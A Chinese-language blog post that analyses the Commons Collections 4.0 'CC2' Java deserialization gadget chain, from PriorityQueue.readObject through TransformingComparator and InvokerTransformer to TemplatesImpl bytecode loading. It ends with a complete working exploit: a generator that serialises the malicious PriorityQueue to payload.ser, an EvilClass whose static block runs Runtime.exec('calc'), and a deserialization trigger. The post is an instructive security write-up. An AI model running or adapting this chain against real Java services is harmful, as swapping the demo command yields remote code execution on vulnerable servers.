代码审计 | CC2 链 —— _tfactory 赋值问题 PriorityQueue 新入口

代码审计 | CC2 链 —— _tfactory 赋值问题 PriorityQueue 新入口

目录


前言

CC3 里我们用 TemplatesImpl 实现了字节码加载,触发点是通过 InstantiateTransformer 调用 TrAXFilter 的构造方法,入口依然是 LazyMap 那套。CC2 在这个基础上换了个思路,sink 还是 TemplatesImpl.newTransformer(),但触发链完全换掉了,入口变成了 PriorityQueue,中间靠 TransformingComparator 串起来。

另外有个很重要的区别:CC2 用的是 Commons Collections 4.0,而不是之前的 3.2.1。原因后面分析到 TransformingComparator 的时候会说。


环境

  • JDK 8u65
  • Commons Collections 4.0(注意版本)
  • IDEA + 调试器

pom.xml 依赖改成这样:

<dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

包名也从 org.apache.commons.collections 变成了 org.apache.commons.collections4,导包的时候注意一下。


链路分析

还是习惯从 sink 反推,找清楚每个节点怎么串起来的,再写 EXP。

Sink:TemplatesImpl 与 _tfactory 赋值问题

这个在 CC3 里分析过了,简单过一下。TemplatesImpl 里面有三个关键字段:_bytecodes(恶意字节码数组)、_name(不能为 null)和 _tfactory

调用 newTransformer() 会触发 getTransletInstance()defineTransletClasses() → 加载 _bytecodes 里的字节码并实例化,恶意代码在静态块或构造方法里就会执行。

这里展开说一下 _tfactory 到底要不要赋值的问题,这个之前文章里留了个坑。


半 payload 测试(未走反序列化)

之前的文章判断是说 defineTransletClasses 函数里有 _tfactory.getExternalExtensionsMap() 的调用,所以 _tfactory 必须赋值。

但当时测试用的是"半 payload",直接调用 templates.newTransformer() 触发,并没有走完整的反序列化流程:

public class wu_ {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));
        TemplatesImpl templates = new TemplatesImpl();
        Field f1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
        f1.setAccessible(true);
        f1.set(templates, new byte[][]{bytecode});
        Field f2 = TemplatesImpl.class.getDeclaredField("_name");
        f2.setAccessible(true);
        f2.set(templates, "EvilClass");
//        Field f3 = TemplatesImpl.class.getDeclaredField("_tfactory");
//        f3.setAccessible(true);
//        f3.set(templates, new TransformerFactoryImpl());

        templates.newTransformer(); // 应该弹出计算器
    }
}

_tfactory 赋值注释掉之后,得到的是 NullPointerException(NPE),错误出现在 defineTransletClasses 函数里的 _tfactory.getExternalExtensionsMap() 这里,字节码还没开始加载链就断了。

调试发现此时 _tfactory 确实是 null:

所以当时得出了"必须给 _tfactory 反射赋值"的结论。

赋值之后:

虽然还有 NPE 报错,但位置不在 defineTransletClasses 里了——这些报错都是字节码加载完之后的事,payload 已经正常执行,计算器弹出。


完整 payload 测试(走完整反序列化)

写这篇文章的时候又发现了新问题。用 CC3 的完整 payload(CC3TransformedMap)测试,之前说是需要赋值的:

演示也没有问题,有 NPE 但不是 defineTransletClasses 里的。调试找到 _tfactory,确实有值:

然后把 _tfactory 的赋值注释掉再试:

依然可以弹出?! 而且也没有出现之前半 payload 里 defineTransletClasses 的 NPE 报错。

调试看 _tfactory 的值:

我们没有手动赋值,但 _tfactory 还是有值。原因是 TemplatesImpl 类的 readObject 方法里有这么一行:

_tfactory = new TransformerFactoryImpl();

反序列化的时候会自动为 _tfactory 创建对象并赋值:

经过调试进一步发现,不管我们有没有手动给 _tfactory 赋值,进入反序列化流程之后 _tfactory 显示的都是 null——这是因为反序列化不仅会触发最外层对象的 readObject,链里面每个对象如果有 readObject 方法,也都会被自动调用。TemplatesImpl 自己的 readObject 里会重新初始化 _tfactory,所以手动赋值根本没用。


还有个小问题:为什么赋值了但 _tfactory 调试里显示还是 null?

查看 _tfactory 的属性,发现它带了 transient 修饰符:

transient 的作用很简单:序列化的时候这个字段直接被跳过,不写进字节流。所以不管你有没有手动赋值,序列化之后这个值都不存在了,反序列化时由 readObject 重新创建。

_name_bytecodes 都是普通的私有属性,没有 transient,所以可以正常序列化传递。


结论

完整 payload 里手动赋值 _tfactory 是无效操作,最终生效的永远是 readObject()new 的那个。半成品 payload 没走反序列化,readObject() 不会触发,所以必须手动赋值才能用。

如果出现了 defineTransletClasses 的 NPE 报错,可以再手动赋值一下(加了也没有坏处)。


这个问题搞清楚之后,继续看链路。

CC2 里直接用 InvokerTransformer 反射调用 newTransformer(),不像 CC3 那样绕 TrAXFilter,所以链路更直接一些。也没有用到 ChainedTransformer 去串联——因为 CC3 的入口是 LazyMap,触发点是 LazyMap.get(key),传给 transform() 的是 map 的 key(普通字符串,不是 TemplatesImpl 实例),所以才需要 ChainedTransformer 先用 ConstantTransformer 把 key 替换掉:

ChainedTransformer:
  ConstantTransformer(TrAXFilter.class)     ← 丢掉 key,返回 TrAXFilter.class
  InstantiateTransformer(templates)         ← 实例化 TrAXFilter,构造方法里调 newTransformer()

CC2 不走这条路,目标是直接找到一个能触发 TemplatesImpl.newTransformer() 的方法。


InvokerTransformer

这就是一个封装了反射调用的 Transformer:

method.invoke(input, iArgs);
  method  — 要调用的方法对象,通过 input.getClass().getMethod(iMethodName, iParamTypes) 拿到
  input   — 调用这个方法的对象,也就是方法的调用者
  iArgs   — 传给这个方法的参数列表

等价于直接写:

templatesImpl.newTransformer();

InvokerTransformer 有两个构造方法,参数不一样。第一个是私有的,用第二个。如果两个都是私有的,就需要用反射拿到私有构造方法再调用(如果这样就又会出现新问题,不会自动触发):

Constructor<InvokerTransformer> constructor = InvokerTransformer.class.getDeclaredConstructor(String.class);
constructor.setAccessible(true);  // 突破 private 限制
InvokerTransformer transformer = constructor.newInstance("newTransformer");

transform(input) 会对 input 对象调用指定方法。我们构造:

new InvokerTransformer("newTransformer", null, null)

(后面两个 null 也可以改成空数组,可以减少部分 NPE 报错)

接下来的问题就是:怎么触发这个 transform(input)


TransformingComparator(关键节点)

CC2 里用的是 TransformingComparator.compare() 来触发 transform()

TransformingComparator 是 CC2 新引入的核心类,以前的链里没用过。它实现了 Comparator 接口,内部持有一个 Transformer

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

只需要让 transformerInvokerTransformer,就能触发 InvokerTransformer.transform(),再把 obj 换成 TemplatesImpl 实例,链就通了。

TransformingComparator 第一个构造方法只需要传入一个参数:

this(...) 是在构造方法里调用同类的另一个构造方法)

直接 new 一个对象:

TransformingComparator comparator = new TransformingComparator(invokerTransformer);

这样 transformer 就是 invokerTransformer 了。

下面解决 compare 的两个参数 (final I obj1, final I obj2) 从哪里来的问题。

TransformingComparator 实现了 Comparator 接口,compare 方法就是在这个接口里定义的:

查找用法,有很多函数都调用了 compare

最终找到的是 PriorityQueue 里的 siftDownUsingComparator 方法:

这里面调用了两次 comparator.compare

comparator.compare((E) c, (E) queue[right])  // 比较左右子节点
comparator.compare(x, (E) c)                 // 比较父节点和子节点

只需要保证至少能调用一次就行。


PriorityQueue:入口点

cqueue[right] 的来源:

Object c = queue[child];
int right = child + 1;

queue[] 就是 PriorityQueue 内部存元素的数组。所以只需要往这里面添加 TemplatesImpl 实例,cqueue[right] 就都是 TemplatesImpl,自然作为 obj1obj2 传进 compare()

上面有 add 函数:

return offer(e);

这正是添加数据的函数,直接用:

queue.add(templates);

不过 compare 是在 siftDownUsingComparator 里调用的,而且这是个私有方法:

思路就是往上找能调用到这个私有方法的公有方法。链条是:

readObject() → heapify() → siftDown() → siftDownUsingComparator() → compare()

siftDownUsingComparator 往上是 siftDown,私有方法:

再往上是 heapify,也是私有:

终点就是 readObject 方法,同样是私有的,但没关系——反序列化该执行还是执行:

现在完整的链已经找到了,只需要传入正确的参数就能自动触发。


构造 PriorityQueue

PriorityQueue 的构造方法有点多,都是对 initialCapacitycomparator 参数的控制。选一个参数少、又能传入我们需要的参数的方法:

DEFAULT_INITIAL_CAPACITY 默认是 11

这两个构造方法都能传入 TransformingComparator 对象(里面有 compare 方法触发 transform),不过一个默认容量是 11,我们只需要传入 2 个元素,选第二个:

现在的构造顺序:

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

TransformingComparator comparator = new TransformingComparator(invokerTransformer);

PriorityQueue queue = new PriorityQueue(2, comparator);

queue.add(templates);
queue.add(templates);

不过直接这样写是不行的——序列化的时候会弹出一次计算器:

反序列化的时候反而没有效果了。

原因是:往 PriorityQueueadd() 元素的时候,也会触发堆排序,也就是会调用 comparator.compare()。如果这时候 transformer 已经是 InvokerTransformer,add 阶段就提前触发了一次 RCE,而且这时候第二个元素还没 add 进去,排序逻辑出问题,导致后面反序列化时链跑不起来了。

解决方法是构造时先用无害的 Transformer 占位,add 完元素再通过反射替换成 InvokerTransformer

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
setFieldValue(comparator, "transformer", invokerTransformer);

无害占位用的是 ConstantTransformer——不管传入什么都返回里面固定的值,比 InvokerTransformer("toString", null, null) 这种写法更安全简单。

结果正常:


完整调用链追踪

现在顺着跟一遍完整的调用流程:

入口的 readObject 读取文件:

自动触发我们对象(PriorityQueue)的 readObject 方法:

readObject 里调用 heapify

heapify 触发 siftDown

siftDown 触发 siftDownUsingComparator

siftDownUsingComparator 里调用 compare

compare 里传入两个 TemplatesImpl 对象触发,此时 transformer 已经是被反射替换过的 InvokerTransformer

transform 触发反射调用 TemplatesImpl.newTransformer

newTransformer 触发 getTransletInstance

中间经过 defineTransletClasses_tfactory 的处理(前面讲过,反序列化时自动赋值):

最终到 getTransletInstance 里的 newInstance 实例化对象,触发构造方法执行 RCE:


为什么必须用 CC 4.0

在 CC 3.2.1 里,TransformingComparator 没有实现 Serializable

CC 3.2.1:

CC 4.0:

任何类都可以被实例化(new),但只有实现了 Serializable 接口的类才能被序列化成字节流。 3.2.1 的 TransformingComparator 没有这个接口,序列化时直接抛异常:

// 没有 Serializable,序列化时报错
ObjectOutputStream oos = new ObjectOutputStream(...);
oos.writeObject(comparator);  // 抛 NotSerializableException

4.0 里加上了这个接口,才能被正常序列化。这是 CC2 只能用 CC 4.0 的根本原因。


完整链路:

PriorityQueue.readObject()
  → heapify()
    → siftDown()
      → siftDownUsingComparator()
        → TransformingComparator.compare(obj1, obj2)
          → InvokerTransformer.transform(obj1)   // obj1 是 TemplatesImpl
            → TemplatesImpl.newTransformer()
              → defineTransletClasses() → 加载字节码 → RCE


EXP 编写

有一个构造上的小坑需要注意:往 PriorityQueueadd() 元素时,也会触发堆排序,也就是说也会调用 comparator.compare()。如果这时候 transformer 已经是 InvokerTransformer,add 阶段就会触发一次 RCE,而且这时候 TemplatesImpl 可能还没准备好,直接报错。

解决方法是构造时先用无害的 Transformer,add 完元素再通过反射替换成 InvokerTransformer

完整 EXP:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] bytes = Files.readAllBytes(Paths.get("target\\classes\\org\\example\\EvilClass.class"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "pwn");
//      setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  // 无需赋值,反序列化时自动处理

        // 先用无害的 ConstantTransformer 占位,避免 add 阶段提前触发
        TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(templates);
        queue.add(templates);

        // add 完元素再替换成真正的 InvokerTransformer
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        setFieldValue(comparator, "transformer", invokerTransformer);

        // 序列化到文件
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
            oos.writeObject(queue);
        }
    }
}

恶意字节码(也可以用 javassist 生成):

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilClass extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

反序列化模拟:

package org.example;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class CC2Deserialize {
    public static void main(String[] args) throws Exception {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"))) {
            ois.readObject();
        }
        System.out.println("Deserialization completed, check if calc popped.");
    }
}


小结

CC2 的整体思路比前几条链更简洁,不需要 LazyMap 那种代理触发机制,链路一目了然:

  • 入口PriorityQueue.readObject() 反序列化时重建堆,必然触发比较操作
  • 中转TransformingComparator.compare() 把比较操作转换成 transform 调用
  • 执行InvokerTransformer 反射调用 TemplatesImpl.newTransformer() 加载字节码

有几个值得记住的细节:

  1. 必须用 CC 4.0,3.x 里 TransformingComparator 不可序列化
  2. 构造时先用 ConstantTransformer 占位,add 完再反射替换,避免提前触发
  3. 队列至少要有 2 个元素,siftDownUsingComparator 才会被调用(size=1 时 half=0,while 循环直接不进)
  4. _tfactory 不需要手动反射设置——反序列化时 TemplatesImpl.readObject() 会自动初始化;transient 修饰导致手动赋值在序列化时也会丢失
posted @ 2026-04-06 14:15  wrold  阅读(4)  评论(0)    收藏  举报